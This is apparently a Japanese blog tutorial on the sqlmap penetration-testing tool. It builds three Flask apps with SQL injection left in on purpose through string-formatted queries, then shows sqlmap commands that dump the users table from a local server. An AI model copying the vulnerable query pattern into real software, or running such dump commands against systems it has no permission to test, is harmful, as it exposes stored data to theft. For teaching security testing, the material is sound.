sqlmap は SQL インジェクションに特化したオープンソースのペネトレーションテストツール。
これを使うと Web アプリケーションの特定のパラメータに SQL インジェクションの脆弱性があるか否かを確認しやすい。
注意: 外部のサーバに使うことは攻撃となるので絶対にしないように。
今回使った環境は次の通り。
$ sw_vers
ProductName: Mac OS X
ProductVersion: 10.12.6
BuildVersion: 16G29
$ sqlmap --version
1.1.8#stable
$ python --version
Python 2.7.10
インストール
sqlmap は Homebrew でインストールできる。
$ brew install sqlmap
これで sqlmap
コマンドが使えるようになる。
$ sqlmap --version
1.1.8#stable
ちなみに sqlmap は Python で書かれているけど Python 3 では動かない。
$ python --version
Python 3.6.2
$ sqlmap
[CRITICAL] incompatible Python version detected ('3.6.2'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'http://www.python.org/download/')
作者の方針的に Python 3 対応をする予定はないようだ。
Port code to Python 3 · Issue #93 · sqlmapproject/sqlmap · GitHub
ターゲット
今回はツールの検証のために意図的に SQL インジェクションの脆弱性を仕込んだ Web アプリケーションを用意してみた。
これは Python の Flask で書いてある。
データベースには組み込みで使える SQLite3 を使った。
import sqlite3
from flask import Flask
from flask import request
from flask import abort
from flask import jsonify
app = Flask(__name__)
@app.route('/users')
def get():
name = request.args.get('name')
if name is None:
abort(400)
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
try:
XXX
query = 'SELECT * FROM users where name like \'{name}\''.format(name=name)
cursor.execute(query)
result = cursor.fetchall()
finally:
cursor.close()
conn.close()
response_body = {
'users': [
{
'name': name,
'age': age,
}
for name, age in result
]
}
response = jsonify(response_body)
response.status_code = 200
response.headers['Content-Type'] = 'application/json'
return response
def initialize_db():
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
try:
cursor.execute('DROP TABLE IF EXISTS users')
cursor.execute('CREATE TABLE users (name TEXT, age INTEGER)')
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Alice', 20))
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Bob', 25))
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Carol', 30))
conn.commit()
finally:
cursor.close()
conn.close()
def main():
initialize_db()
app.run()
if __name__ == '__main__':
main()
上記のアプリケーションは SQL の実行にプレースホルダを使っていないため SQL インジェクションの脆弱性がある。
使い方
動かすには Flask が必要なのでインストールする。
$ pip install flask
あとは先ほどのファイルを適当な名前で保存して実行するだけ。
$ python queryparam.py
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
上手くいけば次のように URL のクエリパラメータで既存のユーザを検索できるアプリケーションが動く。
ただ、このパラメータ name
には SQL インジェクションの脆弱性がある。
$ curl 'http://localhost:5000/users?name=Alice'
{
"users": [
{
"age": 20,
"name": "Alice"
}
]
}
sqlmap でペネトレーションテストする
それでは sqlmap を使って先ほどのアプリケーションをペネトレーションテストしてみよう。
クエリパラメータであれば -u
オプションを使って URL をそのまま指定するだけでテストできる。
--dump
オプションは脆弱性があったときにデータベースの内容をダンプすることを意味する。
$ sqlmap -u 'http://localhost:5000/users?name=Alice' --dump
いくつか質問に答えていって、脆弱性が実際に見つかると次のような出力が得られる。
$ sqlmap -u 'http://localhost:5000/users?name=Alice' --dump
...(snip)...
GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
さらに進めると users
テーブルの内容が表示される。
$ sqlmap -u 'http://localhost:5000/users?name=Alice' --dump
...(snip)...
GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
...(snip)...
Database: SQLite_masterdb
Table: users
[3 entries]
+-----+-------+
| age | name |
+-----+-------+
| 20 | Alice |
| 25 | Bob |
| 30 | Carol |
+-----+-------+
仮にこれが実際の攻撃ならデータベースの内容を盗み出されていたことになる。
フォームタグ内のパラメータをテストする
さっきはクエリパラメータだったけど、次はフォームタグで送信される内容を想定してみよう。
これはようするに Content-Type
が application/x-www-form-urlencoded
されるもの。
サンプルコードは次の通り。
先ほどと同じようにユーザを検索するというもの。
import sqlite3
from flask import Flask
from flask import request
from flask import abort
from flask import jsonify
app = Flask(__name__)
@app.route('/users', methods=['POST'])
def post():
name = request.form.get('name')
if name is None:
abort(400)
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
try:
XXX
query = 'SELECT * FROM users where name like \'{name}\''.format(name=name)
cursor.execute(query)
result = cursor.fetchall()
finally:
cursor.close()
conn.close()
response_body = {
'users': [
{
'name': name,
'age': age,
}
for name, age in result
]
}
response = jsonify(response_body)
response.status_code = 200
response.headers['Content-Type'] = 'application/json'
return response
def initialize_db():
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
try:
cursor.execute('DROP TABLE IF EXISTS users')
cursor.execute('CREATE TABLE users (name TEXT, age INTEGER)')
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Alice', 20))
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Bob', 25))
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Carol', 30))
conn.commit()
finally:
cursor.close()
conn.close()
def main():
initialize_db()
app.run()
if __name__ == '__main__':
main()
先ほどと同じように適当な名前をつけて実行する。
$ python contentbody.py
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
curl
コマンドからは次のようにして呼び出せる。
$ curl -X POST -d 'name=Alice' http://localhost:5000/users
{
"users": [
{
"age": 20,
"name": "Alice"
}
]
}
sqlmap
コマンドで上記のパラメータをテストするときは --data
オプションを使う。
$ sqlmap -u 'http://localhost:5000/users' --data 'name=Alice' --dump
実行すると次のようにデータベースの内容がダンプして得られる。
$ sqlmap -u 'http://localhost:5000/users' --data 'name=Alice' --dump
...(snip)...
Database: SQLite_masterdb
Table: users
[3 entries]
+-----+-------+
| age | name |
+-----+-------+
| 20 | Alice |
| 25 | Bob |
| 30 | Carol |
+-----+-------+
JSON を使った WebAPI をテストする
次は Content-Type
が application/json
な WebAPI をテストするときについて。
サンプルコードは次の通り。
WebAPI なのに POST でユーザを検索するっていう、ちょっと不自然なものになっちゃってる。
これは INSERT
とか UPDATE
を使った SQL インジェクションは難しくて sqlmap がそれに対応していないのが理由。
import sqlite3
from flask import Flask
from flask import request
from flask import abort
from flask import jsonify
app = Flask(__name__)
@app.route('/users', methods=['POST'])
def post():
name = request.json.get('name')
if name is None:
abort(400)
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
try:
XXX
query = 'SELECT * FROM users where name like \'{name}\''.format(name=name)
cursor.execute(query)
result = cursor.fetchall()
finally:
cursor.close()
conn.close()
response_body = {
'users': [
{
'name': name,
'age': age,
}
for name, age in result
]
}
response = jsonify(response_body)
response.status_code = 200
response.headers['Content-Type'] = 'application/json'
return response
def initialize_db():
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
try:
cursor.execute('DROP TABLE IF EXISTS users')
cursor.execute('CREATE TABLE users (name TEXT, age INTEGER)')
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Alice', 20))
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Bob', 25))
cursor.execute('INSERT INTO users VALUES (?, ?)', ('Carol', 30))
conn.commit()
finally:
cursor.close()
conn.close()
def main():
initialize_db()
app.run()
if __name__ == '__main__':
main()
上記のアプリケーションは curl
コマンドからだと次のように呼び出せる。
$ curl -X POST -H "Content-Type: application/json" -d '{"name": "Alice"}' http://localhost:5000/users
{
"users": [
{
"age": 20,
"name": "Alice"
}
]
}
上記を sqlmap でテストするときは、まず Content-Body に JSON を含んだリクエスト内容をファイルとして用意しておく。
$ cat << 'EOF' > json-request.txt
POST /users HTTP/1.1
Host: localhost:5000
Content-Type: application/json
{"name": "Alice"}
EOF
sqlmap
コマンドでは、上記のファイルを -r
オプションで指定する。
$ sqlmap -r json-request.txt --dump
すると JSON 使ってる?って sqlmap が確認してくるので Y
する。
$ sqlmap -r json-request.txt --dump
JSON data found in POST data. Do you want to process it? [Y/n/q]
あとはこれまでと同じようにやっていくとデータベースの内容が出力された。
...(snip)...
Database: SQLite_masterdb
Table: users
[3 entries]
+-----+-------+
| age | name |
+-----+-------+
| 20 | Alice |
| 25 | Bob |
| 30 | Carol |
+-----+-------+
まとめ
今回は sqlmap を使った SQL インジェクションのペネトレーションテストをするやり方について書いた。
正直なところ SQL インジェクションくらい初歩的な脆弱性ならコードを確認した方が早いのではとも思ってしまう。
しかし、脆弱性の有無を調べるにはコードを確認するような静的解析以外にも、今回やったような動的解析もまた一つのやり方といえるだろう。
繰り返しになるけど sqlmap を外部のサーバに使うのは攻撃になるので絶対にやらないこと。